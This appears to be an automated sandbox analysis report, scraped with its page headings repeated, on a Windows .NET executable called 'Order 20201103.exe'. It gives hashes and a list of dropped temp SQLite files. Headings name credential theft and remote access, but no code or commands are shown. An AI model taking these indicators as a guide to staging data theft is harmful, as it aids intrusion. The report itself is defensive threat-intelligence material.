Sample:	Order 20201103.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	5bb99ac790aeeea6267bb29fb67ff860
SHA1:	cf1a7f18df560dd886b71d3c036da6b66be24d03
SHA256:	113ba1be00a45820019ab0e10097ffdaabaee668013820364c9dbe7365838c21
Filetype:	Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Order 20201103.exe.log	ASCII text, with CRLF line terminators	D62F48AD1C574C706287B11959909E66	3183BD5004655E120548C52BA5E05877010613A8	1DFA5DECDAB8D39587BD273D03C8DB7B99505857EE03D85D0FBF54C26058B5CC
C:\Users\user\AppData\Local\Temp\tmp2C02.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2	BDDE4AD11E732420E7ABCCA946B11611	278C3386A37BAFCA507CF4C128600B01B312DDA0	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
C:\Users\user\AppData\Local\Temp\tmp2C03.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2	BDDE4AD11E732420E7ABCCA946B11611	278C3386A37BAFCA507CF4C128600B01B312DDA0	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
C:\Users\user\AppData\Local\Temp\tmp2C23.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp2C34.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp2C54.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp2C55.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp2C76.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp2C77.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp6460.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp6471.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp6491.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp64A2.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp64C2.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp9C1F.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5	2559FB3E33E06A3C5EF24894A53D5831	BFA7F299688FA1303E0A5E9359D8160D4338C569	BF1517D5770A2CB281289B17A4F21EEB9F0461333C1745BCF16314A6AD7AC401
C:\Users\user\AppData\Local\Temp\tmp9C3F.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\tmp9C50.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\tmp9C51.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\tmp9C61.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\tmp9C62.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\tmp9C73.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\tmp9C74.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmp9C84.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpA5A.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpA6A.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpA7B.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpA8C.tmp	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3	369B6DD66F1CAD49D0952C40FEB9AD41	D05B2DE29433FB113EC4C558FF33087ED7481DD4	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
C:\Users\user\AppData\Local\Temp\tmpA9C.tmp	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3	369B6DD66F1CAD49D0952C40FEB9AD41	D05B2DE29433FB113EC4C558FF33087ED7481DD4	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
C:\Users\user\AppData\Local\Temp\tmpBA52.tmp	ASCII text, with very long lines (1024), with CRLF line terminators	BF469DD8C21F5160EACD49BB59E9A370	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
C:\Users\user\AppData\Local\Temp\tmpBA63.tmp	ASCII text, with very long lines (1024), with CRLF line terminators	61908250A5348CC047FF15260F730C2B	CBCF34156EAE25B328A926E21008598EE8D1CBDE	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
C:\Users\user\AppData\Local\Temp\tmpBA64.tmp	ASCII text, with very long lines (1024), with CRLF line terminators	1E5D6B27E451F2406E5ED97F51985EE1	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
C:\Users\user\AppData\Local\Temp\tmpD374.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpD385.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpD395.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpD3A6.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpD3B6.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpD3C7.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpD3D8.tmp	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	B2BCB3634BB754418D079CBB35D1DD30	975944752BFF95AB07D2CEECD5A6D58F57F09B7C	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
C:\Users\user\AppData\Local\Temp\tmpF338.tmp	ASCII text, with very long lines (1024), with CRLF line terminators	BF469DD8C21F5160EACD49BB59E9A370	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
C:\Users\user\AppData\Local\Temp\tmpF339.tmp	ASCII text, with very long lines (1024), with CRLF line terminators	61908250A5348CC047FF15260F730C2B	CBCF34156EAE25B328A926E21008598EE8D1CBDE	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
C:\Users\user\AppData\Local\Temp\tmpF33A.tmp	ASCII text, with very long lines (1024), with CRLF line terminators	1E5D6B27E451F2406E5ED97F51985EE1	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
C:\Users\user\AppData\Local\Temp\tmpF36A.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2	BDDE4AD11E732420E7ABCCA946B11611	278C3386A37BAFCA507CF4C128600B01B312DDA0	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
C:\Users\user\AppData\Local\Temp\tmpF37A.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2	BDDE4AD11E732420E7ABCCA946B11611	278C3386A37BAFCA507CF4C128600B01B312DDA0	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
C:\Users\user\AppData\Local\Temp\tmpF39B.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2	BDDE4AD11E732420E7ABCCA946B11611	278C3386A37BAFCA507CF4C128600B01B312DDA0	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
C:\Users\user\AppData\Local\Temp\tmpF39C.tmp	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2	BDDE4AD11E732420E7ABCCA946B11611	278C3386A37BAFCA507CF4C128600B01B312DDA0	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D

Windows Analysis Report
Order 20201103.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report Order 20201103.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
Order 20201103.exe

Malware Threat Intel
Provided by